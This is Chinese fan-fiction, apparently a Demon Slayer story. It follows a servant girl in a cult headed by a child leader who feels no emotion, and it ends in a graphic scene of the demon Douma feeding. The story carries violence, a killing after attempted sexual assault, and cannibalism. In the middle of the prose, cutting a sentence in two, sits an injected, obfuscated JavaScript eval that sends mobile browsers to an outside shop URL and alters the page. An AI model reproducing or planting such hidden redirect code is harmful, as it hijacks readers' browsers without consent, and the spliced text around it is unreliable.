夕月端着一只精致的黑漆托盘,快步走了进来。 “教祖大人还是要先好好吃饭,再倾听信众的祷告呀。“ 托盘上放着一只精致的白瓷碟子,里面是一大块黄澄澄、颤巍巍的玉子烧。 “哇啊!”小教祖惊讶的叫起来,“这个看起来好美味呀!” “教祖大人尝尝看,我用了秘密武器哦。” “唔,夕月做的好好吃,是放了什么呢?” 夕月神秘的一笑:“是砂糖哦。” 那孩子嘴里塞的满满的,瞪大了眼睛。 “可是…不是不能吃…” “又不是和果子,只吃一点点没关系啦,不会吃坏牙齿的。”夕月认真的说,“教祖大人不爱吃鱼肉,又正是在长身体的时候,那就多吃一点鸡蛋吧,鸡蛋里有母鸡孕育生命所使用的养料,很有营养哦。” “那就拜托夕月啦。”小教祖笑眯眯的说。 冬天就这样在一日一日重复的工作中过去了。在近乎枯燥的日常中,春逐渐记住了极乐教的各种规矩。比如教祖大人很爱干净,经堂和大殿必须时刻保持整洁,法衣必须用上好的白檀熏过;比如教祖大人在接待来访的信众时是绝对不能打扰的,虽然他从来不会生气,但会露出伤心的表情;再比如前任教祖和夫人在教内是个不能提起的秘密,人人都说万世极乐教是教祖大人在神明的指引下一手创立的,虽然他看上去只有十岁,但神明之子的智慧是不能以凡人之心去揣度的。 不过在孩子们中间,似乎不存在那么多禁忌的话题。春很快认识了也在厨下帮忙的阿太和彩香,他们都是信众家的孩子,一个十一岁,一个八岁。 “我听门房的阿嬷跟母亲聊天时提起过,”阿太有次神秘兮兮的说,“好像是情杀。” 春天来了,菜园的土地里也长出了绒绒的草芽,阳光好的时候,春就和这两个孩子一起躲在这里玩弹珠,只要不被厨娘欧巴桑抓到,就能一直玩到太阳快落山。 “什么叫情杀?”春好奇的问。 “就是…” “阿太,我母亲说过绝对不能提起这个。”彩香警告他,“被山田他们知道的话,会被赶出去的。” “知道了啦。”阿太翻个白眼,“可这里只有我们仨,你不说我不说,难道这傻丫头会自己说出去?”他粗鲁的拍了拍春的脑袋,“喂,新来的,你不会乱说的吧?” 春赶紧说:“不会,我嘴巴很严的。” “那就行。”阿太压低了声音,绘声绘色的说,“那是两年前的事了。听说是前任教祖和女信徒在经堂里搞那种事,被清子夫人逮了个正着,直接拿刀捅死了那两人,然后自己也吃毒药自杀啦。据说当时惨的很,满屋子都是血,连肠子都出来了,现在经堂的榻榻米和墙面都是重新换过的啦。” “啊?”春捂住嘴巴,“那教祖大人知道吗?” ”教祖大人本人目睹了全过程呢。”阿太的语气里竟然有些敬意,“但不愧是教祖大人,听说完全临危不乱,指挥着山田他们几个男信众收敛好尸体,很体面的处理了后事,对外只说前任教祖和夫人是受到了神明的召唤,前往极乐净土去了。” “这……大家会相信吗?” “这有什么,就算前任教祖和夫人有问题,教祖大人本人可是神明之子,这是毋庸置疑的呀。”阿太信誓旦旦的说,“你见过哪个八岁小孩见到那种场面还能保持冷静的?就是因为教祖大人根本不是凡人的孩子,才能在关键时刻展现出神明才有的果断和勇气呀。” “有道理哦。”春傻乎乎的点点头,“教祖大人真是好厉害呀。“ “阿太!你们几个又在偷懒!” 厨娘欧巴桑声如洪钟的喊道,“快给我滚去洗菜!阿春,夕月小姐在找你呢!下午教祖大人有贵客要来,你还不赶快去准备?” “是,是的!” 春吐了吐舌头,一溜烟的跑走了。 来的确实是贵客。那是京都府来的小姐,光是身上那件丝绸做的振袖都让春看的眼花缭乱。那位小姐年龄不大,气势倒是十足,只是一次随便出行,仆役就跟来了十几个。春一下午都在忙着端茶送水,准备各种点心和熏香,忙到天都黑了,才看到那华丽的小姐喜笑颜开的从教祖大人的茶室里出来,前呼后拥的离开了。 看他们走了,夕月才眼见着松了口气。春好奇的打听道:“这是哪家的小姐,好大派头呀。” “是京都府的御茶奉行、铃木大人家的小姐。”夕月笑着说,“脾气大的很,但唯独喜欢看我们教祖大人跳扇舞,隔三差五就要借着祷告之名跑来一次,这不是刚开春就来了吗,也多亏教祖大人机智,每次都能把她哄的高高兴兴。这些和果子都是他们带来的,你们拿去分了吧。” 两只镶嵌着鲍鱼贝的雕花食盒被抬了上来,春还是有生以来第一次见到这种叫“和果子”的点心,做成花瓣或是绿叶、半透明的小小团子,一层层错落有致的摆满了食盒,散发着糯米和红豆那诱人的甜香。 她的口水都快要流下来了,看看其他人,也是一脸兴奋。大家一哄而上,那两盒和果子很快就被抢光了。 春第一次知道世上还有这么好看又好吃的东西,听说就连普通的町人家里,糖都是珍贵的东西,在乡下,丰年时也只有春秋两季的大祭能吃上年糕,更不用说这两年连年贡都交不起的日子了。她不禁想,早知道应该让弟弟阿健跟自己一起来,这样两个人就都能吃到这美味的点心了。 但还没到春末时,她就接到了弟弟的死讯。 消息还是她家隔壁的阿玉带来的,听说是吃了地里不干净的东西,村里的大夫治了两天就宣告没救了,才六岁的阿健就这么死了。 但春知道阿健是个机灵的小孩,从不会乱吃地里的东西。 他应该只是太饿了。 接到消息后,春在厨下躲着哭了很久,一直到夕月来叫她去清扫经堂,才看到她哭肿的双眼。 夕月轻轻叹了口气,说:“这里几乎每个人都经过这种事…去找教祖大人祷告吧,相信神明一定能解答你的疑惑。” 春进到经堂时,早课刚刚结束,小教祖坐在那扇金色的莲花屏风前,看到她时露出了吃惊的表情。 “小春,你的眼睛怎么啦?”他问,“你为什么哭呀?是遇到什么难过的事了吗?” 春搓着衣角,闷闷的说:“教祖大人,我…我想找您…说一件事。” “没问题,无论什么事,我都很乐意听哦。” 她终于哇的哭了出来:“我弟弟死了…” 听完她的哭诉,小教祖也落下了悲伤的泪水。 “真是太可怜了,没能接受我救赎的孩子,是不能到极乐净土去的……” 春更伤心了,伏在地上哭着说,“老人们都说,这么小的孩子就算死了,也没法成佛,因为欠了父母的债,只能到地狱里去堆石头赎罪,赎够了才能去投胎转世…” “那是假的哦。” 小教祖笃定的说道。 “所谓天国和地狱都是假的,是那些人编造出来的谎言。人死了以后思想就会停止,什么感觉也没有,身体腐烂化成泥土,这是很自然的一件事,只要是活着的生物就都会经历哦。“ 春不太能听懂,但听着这和自己年龄差不多的小男孩以清澈的嗓音如此冷静的讲述这样的话,她的心中竟然也渐渐安静下来。 “所以…阿健他…再也不会感到痛苦了,再也不会饿肚子了,是吗?”她喃喃道。 “对呀,人们活着就是很痛苦的事。”小教祖似乎很惋惜的摇了摇头,“虽然去不了极乐净土,但死掉也就不再受苦啦。” “这么想的话…好像也没那么难过了…”春吸吸鼻子,“我也会这样死掉吗?死了以后就…见不到爸爸妈妈,也见不到夕月和阿太他们了?” “不会的,只要加入万世极乐教,以后就能在极乐净土相见,只有我的信徒才可以得到这样的救赎哦。”小教祖的脸上露出了天真无邪的微笑,“小春要不要加入呢?我可以为你安排入教仪式。” “真的可以吗?”小春睁大了眼睛,“可我家里拿不出给教祖大人的供奉,怎么办…” “没关系啦,毕竟拯救像小春这样的孩子就是我的使命嘛。” “我…我要!我要入教!”春几乎没有任何犹豫就答应了下来。 于是在九岁这年,春成为了万世极乐教的信徒。 3. 六年的时间转瞬既逝,春在这座名为“极乐寺”的寺院中慢慢长大,期间她的母亲也过世了,然而,除了惋惜再也不能在极乐净土见到母亲,春并没感到太多悲伤,毕竟母亲活着时就日夜操劳,家中稍有一点食物就要让给在外干活的父亲和哥哥,这样的生活实在谈不上幸福可言,因此,就像教祖大人说的,死掉也是一种解脱吧。 饥荒持续了差不多两年时间。极乐教在期间收留了不少无家可归之人,随后的几年里,町人中也时有破产的商人甚至武士慕名而来。没错,据说现在连武士的日子也不好过了,将军大人降低了他们的俸禄,又发了新钱,但这些人可能过惯了大手大脚的生活,反而欠债越来越多。于是教祖大人指点迷津的内容里又加上了财产乃至情事这方面的内容。春常常看到夕月满脸尴尬乃至面红耳赤的从经堂里出来,但教祖大人似乎不以为意,不论信徒问什么问题,他都能报以理解的微笑。 春端着茶进去的时候,正好看见那位姓草间的男人正在口沫横飞的抱怨。 “……真是没道理啊,明明就是将军大人自己也没钱了,却还要克扣我们这些代官的钱,这一来一去,今年我就少赚了几百两。都说吉宗将军这个儿子是个‘小便公方’,连人话都说不清楚,看来真是名不虚传……” “您的年俸少说也有三百石吧,也不算少了,怎么还是为钱而苦恼?如此实在是不太值得呀。” 教祖大人摇着一柄纸扇,脸上是和蔼可亲的微笑。这个先前有点圆圆脸的男孩长成了俊秀的少年,身量也像一棵春天的树那样迅猛的窜高,十六岁的他坐在那些成人面前,已经有了种官家公子的雍容气度。春莫名的觉得他变了一些,又似乎一点没变,那袭黑色法衣下的少年,永远面相温和,说话不紧不慢,映着彩虹的眼睛却更加剔透璀璨,也更加波澜不惊了。 “教祖大人一看就是世外高人,心胸宽广,可钱这东西哪有够用的时候?”来祷告的男人叹气,“光是祇园的茶屋那边,我一年就得花个几百两,要不姑娘们根本不正眼看你。唉,人活着真是难啊…” “不如您试着做点买卖?听说最近烟叶和棉花的行情还不错。” “做买卖哪有当官来钱快,单是帮人安排个修桥的活,我少说就能入账十两银子。”男人得意洋洋的说,“您没听神尾大人说嘛,百姓就像芝麻,越榨越出油…哎呀,在教祖大人面前讲这些真是罪过,我可要好好忏悔,死了到极乐净土去…” 等人走了,春气呼呼的把他的茶杯重重的扔在托盘上。 “这什么人嘛,也太恶心了。” 她这两年胆子也大了起来,可能是待在教祖大人身边的时间太多,又见他总是一副笑脸待人,心里也没有那么多畏惧之情了。 “乡下根本还是吃不起米,哥哥来信说年贡一点都没减,主家还逼着把已经发芽了的稻子换成烟叶,我家那边根本不适合种烟叶嘛!这位大爷倒好,还说出什么芝麻油这种话,不怕遭报应吗!” “小春啊,你不会真的傻到相信世上有报应这种事吧?”教祖大人用扇子掩着脸轻笑,“你见哪个飞扬跋扈的坏人有过报应?恰恰相反,坏人都是整日不劳而获,过的要多痛快有多痛快,善良的好人却总是遭到蛮不讲理的对待。世上之事一向如此,有什么好稀奇的。” “没有报应吗?”春难以置信的说,“神佛都不管这些人的吗?” 教祖大人笑而不语,只是从桌上拿起了那男人留下的一只木盒,在手上掂了掂,递给了春。 “这是草间大人的供奉,你交给夕月,叫她给新来的信徒置办东西用。” “最近新来的人也太多了点,听说江户那边又闹了水灾,死了很多人。我听夕月说,昨天又有好几个人吵着要入教呢。”春迟疑了下,“教祖大人要听他们的祷告吗?” “没问题,请夕月为他们安排吧。”教祖大人微笑着说,“另外叫她拿我的印信,去找一下铃木小姐,就问她什么时候有空再来喝茶。” “又要叫铃木小姐来吗?” 不知道为什么,听到这个消息后,夕月皱起了眉。 “这个月已经第三次了啊。每次她还要带女伴一起,在教祖大人的茶室里又喝酒又抽水烟,弄的乌烟瘴气的!” “教祖大人…不会是喜欢她吧?可她都已经十八了啊!我就知道那个老女人没安好心。”春忿忿的说。 夕月抄起手里的账本在她头上狠狠打了一下,“我都二十一了,你的意思是我也是老女人喽?” 说罢她叹了口气,“也没办法,听说御茶奉行大人最近在京里很是得宠,咱们教会还有很多事要仰仗他的关照……我去请铃木小姐来吧。” 收到信隔了两天,铃木小姐就带着大队人马浩浩荡荡的来了,这次不仅自带了点心和时令水果,还从祇园请了弹三味线的乐师来助兴,铃木小姐和女伴乘着精致的驾笼,由仆役抬上了山。春看见跟着的仆役还抬着藤箱和镜子,默默走过去扯了扯夕月的衣袖。 “这不会是打算住下吧?” 果不其然,铃木小姐一行还真就以静修祷告的名义在极乐寺暂住了下来。除了早课和晚课以外,教祖大人暂停了所有接待信众的活动,专心为铃木小姐祝祷。 茶室里彻夜灯火通明,传出的却是三味线的弦音,春看到夕月满脸通红的从里面出来,狠狠的说道:“太不像话了!” 春有点不解,于是借着送红豆汤的名义拉开了茶室的门,就见屋里浮着一团团白色的烟雾,混着隐约的酒气,铃木小姐歪在一方矮桌旁,一手夹着烟杆,目光迷醉的望着那屋子正中手持纸扇翩然起舞的少年。 教祖大人罕见的没有穿法袍,而是披了一件月白色的羽织,那舞踊的动作如行云流水,白橡色的长发散在肩上,虹色双瞳里似有旖旎的流光,让春想起了传说中出云的阿国,纵使完全不懂,也觉得那舞跳的甚是好看。 所以夕月到底在生什么气呢?难道是铃木小姐不该在茶室里抽烟? 春已经十五岁,少女的直觉让她隐隐察觉到了什么。铃木小姐也确是位美丽的少女,除了脸上的妆厚了一点,为人趾高气扬了一点,御茶奉行的家世也很好…… 但春从未想过,什么样的女人能配得上神明之子。 教祖大人是山巅之雪,是浊世之光,是信徒们的引路者,是极乐净土的使者,那样的可望而不可及。 亵渎神明这种事,连想都不敢想。 “教祖大人,您这个小女侍是不是脑子不太好?怎么一直傻乎乎的愣在那边?”铃木小姐娇俏的声音飘了过来,充满了厌恶的意味,“真是好碍眼啊。” “小绫音在生什么气呐?你尽盯着别人看,是嫌我这舞跳的不够好?”教祖大人笑吟吟的走了过来,坐在了铃木小姐身边,从她手里轻轻一扯便拿走了烟杆,含在口中吸了一口。 “越后产的,”他眯起眼睛,吐了口烟,白皙修长的手指摩挲着黑亮的烟杆,“但没有小绫音上次带来的香。” 铃木小姐脸上立刻浮起了两团红晕,目光也更加迷离。只有春傻在了原地,不知道自己看到的究竟是教祖大人,还是那稻荷的狐狸神。 “小春这个笨丫头,你再不出去,是要留下来陪我们一起喝酒吗?” 教祖大人嘴角噙着笑看向了她。春这才反应过来,连忙夹着托盘一溜烟跑了。 一路跑回厨房,她才狠狠的跺脚道:“太不象话了!” “噗——” 夕月在一旁笑了出来。 春摸了摸自己发烫的脸,只感觉耳朵里全是心脏砰砰的跳动声。 第二天日上三竿,那位铃木小姐才懒洋洋的爬起来。春帮着那些仆役们准备好洗漱用的热水,忙完后没过一会儿,又看那群人呼啦啦的涌了出来,手里捧着各种器皿用具,连竹席都有,说是铃木小姐说了,要和教祖大人放纸鸢。 铃木小姐自己挑了只绘着孔雀、上面还涂着金粉的华丽纸鸢,却给教祖大人留了个画着鬼的。那硕大的鬼头上生着双角,看起来栩栩如生又狰狞无比,不知为什么,春看到了隐隐觉得不祥,却又说不出个所以然来。 教祖大人自己倒是不以为意,照旧乐呵呵的跟着铃木小姐玩了起来。极乐寺这块地方虽然处在林中,但正好寺庙院子大,这会儿已经入秋,澄澈碧蓝的天空中飘荡着两只纸鸢,衬着四周火红尽染的枫林,似乎世上所有的悲惨和黑暗,都被挡在了这方天地之外。 春忽然觉得,这美的好像是一场梦。 夕月也走了过来,站在一旁静静的看着。春看着她的白衣,想起这年纪的女子,在乡下已经是几个孩子的母亲了,但夕月似乎铁了心要留在教祖大人身边当这个女侍长,大概也是因为她在世上已没有亲人,极乐教就是她的家。 “教祖大人原来这么爱玩啊。”春惊讶的说,“真是完全看不出来呢。” 夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252326|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月脸上泛起一丝怀念的微笑,“是啊,我认识他的时候他才七岁,那时清子夫人还在,整日逼着他不是读经就是听人祷告,即使这样,他也会偷偷溜到院子里摘莲蓬吃,大概因为莲子有甜味吧。”她轻轻叹了口气,“清子夫人不让他吃甜食,说怕坏了牙齿笑起来不好看,信众们不喜欢,他就真的一直没吃过糖。有时候我想,再怎样,他也还是个孩子啊。” 再怎样,他也还是个孩子啊。 春从未听夕月说过这样的话。她震惊的望着女侍长,那女子却不看她,只沉浸在自己的回忆里。 “他父母过世的时候,我担心他会害怕,晚上特意想去陪他睡,但他说自己是神明之子,完全不会害怕,让我不用为他担心。他是个温柔又善良的孩子,但太过聪明通透,活在这个世界上未必是好事。” “那时你和你父亲来,我其实是想给他找个年龄差不多的玩伴陪他,但他好像真的完全不需要呢……”她又叹了口气,幽幽的说道,“有时候我甚至觉得,极乐教就像一朵莲花,是从这孩子的身体上长出来的,吸收的都是他命里的养分,把什么都吸干了。我有时觉得他还是我十二岁就认识的那个孩子,但有时又觉得他是我完全不熟悉的陌生人。你说奇怪不奇怪?” 春感到了一阵冷意。 入秋的风应该没有这么寒凉啊,她想。 “会好起来的。”春用教祖大人最常说的话安慰身边的女侍长,“我看教祖大人最近好像活泼多了,话也变多了,这不是和铃木小姐玩的很好嘛,以后…以后会更好的。” “是啊,以后会更好的。”夕月淡淡的微笑道,“毕竟,他长大了嘛。” 说着说着话,春就看教祖大人冲她们挥手。她和夕月走过去时,一人怀里被塞了一个线轴。 “小绫音嫌太冷,先回去了,你们两个站在一边只会发呆是怎么回事,一起来玩嘛!” 秋日的阳光洒在他白橡木般无垢的头发上,将发梢染成了金色。春忽然想起,她似乎极少见到教祖大人站在阳光下的样子,不知何时,那绢人娃娃般漂亮的男孩,已经长的比她俩高出很多,但笑起来却还是幼时的样子,眼睛眯起来,天真,无忧无虑。 为信徒带来幸福的教祖大人,有一天也会得到属于自己的幸福吧。她想。 4. 又一个冬天来临了。极乐寺的冬天总是十分冷清,大殿四周的莲池结上了一层冰,白雪积在花园里的枯树上,屋檐上流下的雪水冻成一挂挂透明的冰棱。春每次路过时都害怕那些冰棱会突然掉下来扎到头,因此她总是贴着走廊一路小跑,然后快速钻进经堂里,那里燃着香炉,炭火也足,暖和的让人昏昏欲睡。 因为下了雪,寺里最近的访客不多,因此春在廊下看到那两名穿着破旧的男子时还吓了一跳。其中一人打扮的像个町人,正坐在雪地上一把鼻涕一把泪的哭他死去的老婆孩子,说他和兄弟二人实在无处可去,又好几天没有吃饭了,怕是要冻死在山里,求极乐教暂时收留他们过了这个冬天,到春天山下有活干了他们自然会离开。 教祖大人站在走廊上,拨弄着一串念珠,微笑着听他哭诉完,开口说道: “二位的遭遇我大概也知道了,真是十分令人同情。但寺里收留的多是些老弱妇孺,不便男子留宿,不如我手书一封,你们拿着去京都府找我的一位朋友,让他给你们找个活干?” 打扮的像町人的男子哭的更厉害了,说他兄弟的腿上受了伤,能撑到这里已经算是奇迹,怕是走不了路了。另外的那人脸色也确实不怎么好,抖着手将薄薄的绑腿解开,果然腿上血糊糊的一层,看着惨不忍睹。 夕月皱了皱眉,说道:“教祖大人,不行今晚先让他们留下来,把伤口处理一下,吃点东西,明天一早就让他们离开?” 教祖大人并没理会她,而是笑眯眯的说:“山田,帮这两位可怜人拿点吃的,送他们出去吧。” 五大三粗的山田带着几个男信徒走了过来。腿受伤的那个人立刻跪在地上,哭着给教祖大人磕头,说他不想死,只求留宿一晚。另外那个则高声喊了起来: “不是都说这万世极乐教的教祖大人乐善好施,专门救济走投无路之人吗?你们怎么能见死不救呢?这算哪门子的神明啊?” “这正是神明的意旨,”教祖大人捻着念珠,垂下眼帘,脸上的表情似笑非笑,“山田,送他们二人出去。” 那两人就这么嗷嗷叫着被山田赶了出去。 春从没见过如此冷酷的教祖大人,甚至连笑容都好像戴了一层面具一样。 她刚回到厨房烧热水,就看夕月急匆匆的走了进来,拿了斗笠,像是要出去的样子。 “你去哪里啊?这都快天黑了。”春喊住她,“晚课以后教祖大人要沐浴的。” “刚刚那个人腿上受了伤,这么冷的天,山田就把人家赶出去了,怕是会死在山里。”夕月举起手上的风吕敷,“我给他们拿了些治疗外伤的药和一点吃的,追上他们送了就回来。你别跟教祖大人说,他问起的话,就说我头痛,先休息啦。” 春后来想,教祖大人说过的话,真是一句错的也没有。 他说世上没有报应,坏人过的要多痛快有多痛快,善良的好人却总是遭到蛮不讲理的对待。 春后来想,如果当时拦住夕月,如果陪她一起去,如果及时禀告教祖大人…… 没有如果。世道冷酷,但不及人心。 夕月的尸体在第二天下午就找到了,她倒在离极乐寺不远的地方,看起来非常平静,只是衣服被扯烂了,头上破了个洞。 雪落在她半睁的眼睛里,结了一层冰。 “那两人应该是流浪的武士,”山田蹲在地上抹眼泪,“是想□□她,看她反抗,就把她推到了路边的石头上……” 春抖着手去摸夕月的脸,那么的冷,像一块冰。 “骗人的吧…”她喃喃道,“这肯定是假的…” 她跳起来一把抓住教祖大人黑色的法衣。 “这是假的!这是假的!教祖大人!您是神明之子,求您让神明把夕月还回来!求您了!” 教祖大人掉下了两滴眼泪。 “好可怜呀,夕月竟然就这么死了。” 随后他吩咐道:“山田,先将尸体安葬了吧。夕月是极乐教的信徒,死后是可以进入极乐净土的,从此远离世上所有的痛苦,得到永恒的幸福。你们不用太过伤心了。” 然后那双剔透璀璨的眼睛看向了春,“小春,现在夕月不在了,你来接替她女侍长的工作吧。你替我送一封信给町奉行大人,就说是极乐教出了事,让他……” “您在说什么啊?!怎么可以就这么把夕月埋了?!我不信!我不要啊!” 春像个孩子似的坐在地上号啕大哭起来。 “我明白了,完全理解小春的心情呢。”教祖大人悲悯的看着她,“你先跟我来。山田,按我说的办。” 春懵懂的站了起来。 不知从什么时候开始,教祖大人那清亮的嗓音变得沉稳而温柔,当他用那种声音讲话的时候,周围似乎没有人能拒绝他的要求。 春跟着教祖大人进了茶室,她像每个祷告的信众一样跪坐在教祖大人对面,呆呆的望着那张她所熟悉的面孔。 既熟悉,又陌生,就像夕月说的那样。 “我理解小春的痛苦哦。”教祖大人诚恳的说,“但是我给你讲过这件事,你是不记得了吗?没有必要惧怕死亡,因为人死去后就什么感受都没有了,夕月她是去了极乐净土,很幸福哦。” “神明在哪里啊?教祖大人?”春呆呆地问,“为什么会发生这样的事?神明为什么要召唤夕月到极乐净土去?她明明活的好好的啊?” “不是的,人类活着都是很痛苦的,小春。”教祖大人耐心的解释道,“夕月没有亲人,自己孤零零一个人,多可怜啊。” 但在她眼里,您就是她的亲人啊。 春张了张嘴,最终没有将这句话说出口。 “教祖大人…也没有亲人了。”她说。 “神明之子是没有人类的亲情的,小春。”教祖大人平静的说,“我存在的意义就是为信徒带来幸福,引领他们前往极乐净土,远离世上的痛苦,获得永恒的救赎……” “您一点也不觉得悲伤吗?”春忽然问道,“您虽然流泪了,但脸色和往常一样,连哽咽都没有……您…您到底……” “谁说的,我很难过的。”教祖大人迅速的流下了两行泪水,“真的很难过呢。” “您骗了我们,对吗?教祖大人?” 春忽然懂了那种奇特的违和感来自何处,教祖大人的眼泪和微笑,似乎都不是真的。 但是,是从什么时候开始的呢?明明在她记忆中的那个孩子,是有着温柔的笑容的。 是教祖大人骗了她,还是记忆本身骗了她? 她忽然想起了夕月的话: ——有时候我甚至觉得,极乐教就像一朵莲花,是从这孩子的身体上长出来的,吸收的都是他命里的养分,把什么都吸干了。 教祖大人笑了笑,然后,他脸上的表情消失了。 那是一张平静如死水的脸,无悲无喜。 “是啊,小春。”他说,“你是个敏锐的孩子呢。” “我从小就对人类的喜怒哀乐没有任何感受,一直都是如此,就连父母过世时,我也没有感觉。” 他看向窗外,眼中映着寒凛的雪光。 春看着他白橡木色的长发,和他轮廓清秀的侧颜。那是一张美好的脸,属于一名十六岁的少年,但春忽然觉得,他像是已经活过了数百年,又像是才刚刚出生,灵魂里只有一片白茫茫的底色。 冰雪渗透在他的灵魂里,恰如这极乐寺的冬天。 “但是,”教祖大人转过头看着她,露出一抹孩子般天真的微笑,“我是个善良的人,是不会丢下你们不管的。” “让信徒们得到幸福,是我作为教祖的义务。” 他顿了顿,说道: “毕竟,世上根本没有神明,也不存在什么极乐净土。在拯救你们的,一直以来都只有我啊。” 5. 夕月过世后,春接任了她作为女侍长的职位。她并没有将教祖大人的秘密说出去,因为即使说了也不会有人相信,此外,极乐教不光是属于教祖大人的,也是属于山田、属于阿太、属于彩香、属于厨房的欧巴桑的,它属于这个乱世中流离失所的所有人。 它也属于死去的夕月,属于名为小春的少女。 这是一场关于极乐净土的梦,没人有权打碎它。 教中的一切照常进行,每天都有络绎不绝的来访者,在经堂内等待着那位有着白橡木色的头发和虹彩双瞳的、温柔的神明之子。 等待着向他说出自己所有的痛苦,等待着来自神明的救赎。 又是一年春天,春接到了父亲的来信。他在隔壁村为他找到了一位门当户对的青年,虽然贫穷,却足以托付终身。 春在经堂门口拜别了来送行的教祖大人。他已经满了十八岁,已然是成人的身姿,京都府的小姐们常约他一起喝酒,作和歌,他也乐此不疲的周旋在少女们中间,常常在夜里带着一身酒味归来,白天再披上那黑色的、熏过白檀的法衣。 但他的表情依然如孩子般天真。 临别时,他微笑着说:“小春,要得到幸福哦。” 春已经活过了很多年。 回到家乡后她就嫁了人,之后接连生了五个孩子,活下来三个。孩子们长大后又生下了自己的孩子。他们正如这片土地上的所有人一样,在艰难中出生、成长、繁衍、死亡。 她上了年纪,皱纹爬上了额头,头发也白了。 但她依然时常想起夕月,想起极乐教中度过的那些日子,想起那位有着白橡发色和虹色双瞳的教祖大人。 他应该也已经儿孙满堂了吧,她想。 一天夜里,她竟然真的梦到了他。 梦里,教祖大人依然坐在那扇金色的、绘着莲花的屏风前,披着黑色的法衣,但法衣之下,是如血一般的暗红色衣衫。 他俊美如神明,头顶却像被泼了鲜血,那颜色染红了他洁白无垢的长发。 春有些困惑的望着他。 教祖大人,您过得好吗?她问。 是小春呐。教祖大人微笑道,真是好久不见呢。我过得很好哦,找到了通往极乐净土的路哟。 极乐净土?她疑惑的问,您说过那根本不存在啊。 极乐净土是存在的,只有像小春、像夕月这样纯洁的女孩子,才有到那里去的资格。你们都会在那里得到幸福,我会在永恒的时光中指引大家哦。 那您呢?您得到幸福了吗?她问。 我一直都很幸福啊。教祖大人微笑着说,能作为神明之子,一直在极乐教帮助那些受苦的人,就是我的幸福。 春含着眼泪笑起来。 您又在骗人了,教祖大人。 您不记得了吗?在经堂里最后告别时,您问我的话? 您问我, 小春,琵琶湖,是什么样子的呀? 本文相关背景(摘自《江户时代》) 1.1726年(享保十一年),幕府的方针已从保障农民自立转向彻底剥削农民,翌年,幕府提高了所有领地的地租。这也验证了当时的勘定奉行神尾春央的名言:“百姓,芝麻油,越榨越出油”。 2.享保大饥馑(1732年):享保十七年夏,近畿以西各地阴雨不断、蝗灾四起,稻米减产实际高达四百万石,受灾贫民约有265万人,饿死者1.2万人,牛马损失1.5万头。 3.明和七至八年(1770-1771年):各藩遭遇旱魃。翌年,江户发生火灾,各藩遭遇洪涝灾害,官方将年号改为“安永”,但此后天灾依旧不断,因此当时有歌谣讽刺道:年号安永不安永,物价高涨令人厌。 4.卯岁饥馑(1783年):在浅间山大喷发的预兆下,天明大饥馑拉开序幕,史称“卯岁饥馑”,这场大饥馑持续数年,波及全国各地,日本东北部尤其受灾严重。饿死者、患传染病致死者多达数十万。百姓饥饿难耐,吃光死尸后互相残杀而食,世间俨然一副地狱般的景象。据说当时“饿死者均为百姓、町人,官吏无一人饿死”(清水文弥《乡土史话》) 50. 神之子(1) 鬼这种生物的牙齿,是非常神奇的。 前面是四颗堪比钢刀的獠牙,有着足以切断腿骨的咬合力,后面的裂齿用来撕下猎物的血肉,强健的臼齿则负责切割。仔细看的话,和狼的牙齿非常相似,但更加坚固和锋利。最奇特的一点在于,这些牙齿似乎是可以变化的,在鬼选择拟态的时候,它们看起来和人类的牙齿没有什么不同,或者只是像稍微尖一点的犬齿,但当这种生物撕掉面具后,那属于食物链顶端的猎食者的森然和血腥,足以令任何生物胆寒。 哪怕平日拟态再优雅的鬼,在进食时也是贪婪而残暴的,每一口下去都是血肉和骨骼,即便是肱骨也可以轻易的咬碎,那种咯吱咯吱的声音,就像是人类咀嚼鸡鸭的脆骨。鬼的舌头又尖又灵巧,能够迅速吸干血管中的血液,但当那条舌头舔舐你的皮肤时,又格外的温柔,像是能释放出某种麻药,令人忘记下一刻被尖牙刺穿的疼痛。 童磨终于啃完了我的右臂,一口咬上了我的颈侧,撕开血管后,开始大口大口的饮血。 我全身的灵力和血液都在向着颈部集中,身体本能的开始修复,这使得灵光更加炽盛,那种属于神灵的特殊香味弥散在空气中,愈加的浓郁,像是盛夏午后的莲池。 “好香啊…小染真是个好孩子…” 他含着一口血呢喃道。鲜血顺着嘴角淌落,滴到他垂落的白橡色长发上,顷刻就被吸收的一干二净。 他的进食方式很粗暴,但确实不爱浪费。 上弦之贰是一只身材高大的鬼,对食物的挑剔和两百年来数不清的战斗使他有着近乎完美的肌肉线条,那是柔韧和力量的结合。此刻与其说伏在我身上的是个男人,从感觉上更像是一头猎豹那类的动物,华美而矫健。 他压制着我的身体,獠牙破开肌肤,又深入了一层。 我侧过头,忍下了疼痛引起的颤抖。他似乎注意到了这一点,用尖锐的、暗蓝色的指甲轻轻划过我的脸。 “弄疼小染了吗?”鬼的声音轻柔滑腻如丝绸,“人家不是故意的哦。如果痛的话,可以哭出来哦。” “还好,在我可以忍受的范围内…嘶,你…你轻点…” 嗯…这对话听起来好像哪里有点奇怪? 我望着纸门外的檐廊,默默腹诽。 童磨适时的停止了啃噬,边仔细舔舐着我脸颊上的血,边轻声说: “小染为什么不哭呢?之前的那些女孩子,都是会哭的呀…哪怕是自己请求我救赎她的女孩子,也会哭着拼命哀求,人家不明白,”他轻轻叹了口气,“到底是为什么呐?去往极乐不好嘛?” “他们理解的极乐和你理解的极乐恐怕不太一样啊,童磨大人。”我笑道,“下次这种事你最好问清楚对方的想法。” 他嗤笑一声,慵懒的侧卧在我身旁,用手撑着头,露出纯真无辜的眼神。 “那小染是怎么想的呢?神灵的世界,存在极乐吗?” 外面竟然在下雨,大概是那场净化之雨还未停歇,雨水落在院子里的池塘中,发出沙沙的响声。 “你听。” 鬼困惑的歪了歪头,“听什么呀?” “雨的声音啊。”我说,“在我还是水神的时候,最喜欢在下雨的时候漂在河面上了,雨打在水里的声音,每个季节都不一样,春天是这样的沙沙声,到夏天时,就是像用鞭子抽打屋顶的声音。你活了这么久,从来没有注意过吗?” 